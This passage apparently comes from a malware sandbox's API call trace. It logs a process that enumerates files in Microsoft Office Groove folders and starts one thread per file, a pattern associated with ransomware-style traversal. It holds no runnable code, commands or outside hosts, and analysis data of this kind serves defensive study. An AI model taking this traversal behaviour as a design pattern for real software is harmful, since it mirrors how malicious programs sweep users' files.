Office\\Office14\\Groove\\ToolBMPs\\" [0126.989] wcscat (in: _Dest=0x4205d370, _Source="StopIconMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp" [0126.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb2c [0126.990] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d554a00, ftCreationTime.dwHighDateTime=0x1ca0b45, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d554a00, ftLastWriteTime.dwHighDateTime=0x1ca0b45, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskbarIconImages256Colors.bmp", cAlternateFileName="TASKBA~1.BMP")) returned 1 [0126.990] wcscmp (_String1="TaskbarIconImages256Colors.bmp", _String2=".") returned 1 [0126.990] wcscmp (_String1="TaskbarIconImages256Colors.bmp", _String2="..") returned 1 [0126.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x107f00 [0126.990] wcscpy (in: _Dest=0x107f00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.990] wcscat (in: _Dest=0x107f00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.990] wcscat (in: _Dest=0x107f00, _Source="TaskbarIconImages256Colors.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp" [0126.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb28 [0126.991] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd49300, ftCreationTime.dwHighDateTime=0x1ca0b45, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd49300, ftLastWriteTime.dwHighDateTime=0x1ca0b45, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskbarIconImagesMask256Colors.bmp", cAlternateFileName="TASKBA~2.BMP")) returned 1 [0126.991] wcscmp (_String1="TaskbarIconImagesMask256Colors.bmp", _String2=".") returned 1 [0126.991] wcscmp (_String1="TaskbarIconImagesMask256Colors.bmp", _String2="..") returned 1 [0126.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x119a60 [0126.991] wcscpy (in: _Dest=0x119a60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.991] wcscat (in: _Dest=0x119a60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.992] wcscat (in: _Dest=0x119a60, _Source="TaskbarIconImagesMask256Colors.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp" [0126.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x119a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb24 [0126.993] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a1d2c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5adf6ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a1d2c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2605, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipsImage.jpg", cAlternateFileName="TIPSIM~1.JPG")) returned 1 [0126.993] wcscmp (_String1="TipsImage.jpg", _String2=".") returned 1 [0126.993] wcscmp (_String1="TipsImage.jpg", _String2="..") returned 1 [0126.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205dc30 [0126.993] wcscpy (in: _Dest=0x4205dc30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.993] wcscat (in: _Dest=0x4205dc30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.993] wcscat (in: _Dest=0x4205dc30, _Source="TipsImage.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg" [0126.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205dc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb20 [0126.994] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a1d2c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ae1d030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a1d2c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipsImageMask.bmp", cAlternateFileName="TIPSIM~1.BMP")) returned 1 [0126.994] wcscmp (_String1="TipsImageMask.bmp", _String2=".") returned 1 [0126.994] wcscmp (_String1="TipsImageMask.bmp", _String2="..") returned 1 [0126.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862a90 [0126.994] wcscpy (in: _Dest=0x1b862a90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.994] wcscat (in: _Dest=0x1b862a90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.994] wcscat (in: _Dest=0x1b862a90, _Source="TipsImageMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp" [0126.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb1c [0126.995] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSignLogo.jpg", cAlternateFileName="VERISI~1.JPG")) returned 1 [0126.995] wcscmp (_String1="VeriSignLogo.jpg", _String2=".") returned 1 [0126.995] wcscmp (_String1="VeriSignLogo.jpg", _String2="..") returned 1 [0126.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205d870 [0126.996] wcscpy (in: _Dest=0x4205d870, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.996] wcscat (in: _Dest=0x4205d870, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.996] wcscat (in: _Dest=0x4205d870, _Source="VeriSignLogo.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg" [0126.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb18 [0126.997] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bafc00, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90bafc00, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x5431, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolIconImages.jpg", cAlternateFileName="WEBTOO~1.JPG")) returned 1 [0126.997] wcscmp (_String1="WebToolIconImages.jpg", _String2=".") returned 1 [0126.997] wcscmp (_String1="WebToolIconImages.jpg", _String2="..") returned 1 [0126.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b862930 [0126.997] wcscpy (in: _Dest=0x1b862930, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.997] wcscat (in: _Dest=0x1b862930, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.997] wcscat (in: _Dest=0x1b862930, _Source="WebToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg" [0126.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb14 [0126.998] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8862c100, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8862c100, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x1538, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolIconImagesMask.bmp", cAlternateFileName="WEBTOO~1.BMP")) returned 1 [0126.998] wcscmp (_String1="WebToolIconImagesMask.bmp", _String2=".") returned 1 [0126.998] wcscmp (_String1="WebToolIconImagesMask.bmp", _String2="..") returned 1 [0126.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107e40 [0126.998] wcscpy (in: _Dest=0x107e40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.998] wcscat (in: _Dest=0x107e40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.998] wcscat (in: _Dest=0x107e40, _Source="WebToolIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp" [0126.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb10 [0126.999] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708c13f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1995, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolImages16x16.jpg", cAlternateFileName="WEBTOO~2.JPG")) returned 1 [0126.999] wcscmp (_String1="WebToolImages16x16.jpg", _String2=".") returned 1 [0126.999] wcscmp (_String1="WebToolImages16x16.jpg", _String2="..") returned 1 [0126.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b862040 [0127.000] wcscpy (in: _Dest=0x1b862040, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0127.000] wcscat (in: _Dest=0x1b862040, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0127.000] wcscat (in: _Dest=0x1b862040, _Source="WebToolImages16x16.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg" [0127.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0c [0127.001] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolImagesMask16x16.bmp", cAlternateFileName="WEBTOO~2.BMP")) returned 1 [0127.001] wcscmp (_String1="WebToolImagesMask16x16.bmp", _String2=".") returned 1 [0127.001] wcscmp (_String1="WebToolImagesMask16x16.bmp", _String2="..") returned 1 [0127.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x108140 [0127.001] wcscpy (in: _Dest=0x108140, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0127.001] wcscat (in: _Dest=0x108140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0127.001] wcscat (in: _Dest=0x108140, _Source="WebToolImagesMask16x16.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp" [0127.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x108140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb08 [0127.002] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2308, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolIconImages.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 1 [0127.002] wcscmp (_String1="WSSFilesToolIconImages.jpg", _String2=".") returned 1 [0127.002] wcscmp (_String1="WSSFilesToolIconImages.jpg", _String2="..") returned 1 [0127.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1070c0 [0127.002] wcscpy (in: _Dest=0x1070c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0127.002] wcscat (in: _Dest=0x1070c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0127.002] wcscat (in: _Dest=0x1070c0, _Source="WSSFilesToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg" [0127.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1070c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb04 [0127.003] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolIconImagesMask.bmp", cAlternateFileName="WSSFIL~1.BMP")) returned 1 [0127.003] wcscmp (_String1="WSSFilesToolIconImagesMask.bmp", _String2=".") returned 1 [0127.003] wcscmp (_String1="WSSFilesToolIconImagesMask.bmp", _String2="..") returned 1 [0127.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106700 [0127.003] wcscpy (in: _Dest=0x106700, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0127.003] wcscat (in: _Dest=0x106700, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0127.003] wcscat (in: _Dest=0x106700, _Source="WSSFilesToolIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp" [0127.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x106700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb00 [0127.004] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolIconImagesMask.bmp", cAlternateFileName="WSSFIL~1.BMP")) returned 0 [0127.004] FindClose (in: hFindFile=0x1cd9cd90 | out: hFindFile=0x1cd9cd90) returned 1 [0127.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57b50) returned 1 [0127.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af8e0) returned 1 [0127.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 Thread: id = 864 os_tid = 0x1428 [0101.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202af970 [0101.038] wcscpy (in: _Dest=0x202af970, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" [0101.038] wcscat (in: _Dest=0x202af970, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\" [0101.038] wcscat (in: _Dest=0x202af970, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*" [0101.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57400 [0101.038] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cfd0 [0102.434] wcscmp (_String1=".", _String2=".") returned 0 [0102.434] FindNextFileW (in: hFindFile=0x1cd9cfd0, lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.435] wcscmp (_String1="..", _String2=".") returned 1 [0102.435] wcscmp (_String1="..", _String2="..") returned 0 [0102.435] FindNextFileW (in: hFindFile=0x1cd9cfd0, lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0102.435] wcscmp (_String1="groove.net", _String2=".") returned 1 [0102.435] wcscmp (_String1="groove.net", _String2="..") returned 1 [0102.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205d730 [0102.435] wcscpy (in: _Dest=0x4205d730, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" [0102.435] wcscat (in: _Dest=0x4205d730, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\" [0102.435] wcscat (in: _Dest=0x4205d730, _Source="groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" [0126.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x4205d730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a0 [0126.836] FindNextFileW (in: hFindFile=0x1cd9cfd0, lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0126.836] FindClose (in: hFindFile=0x1cd9cfd0 | out: hFindFile=0x1cd9cfd0) returned 1 [0126.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57400) returned 1 [0126.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af970) returned 1 [0126.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 Thread: id = 865 os_tid = 0x142c [0101.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202afa00 [0101.042] wcscpy 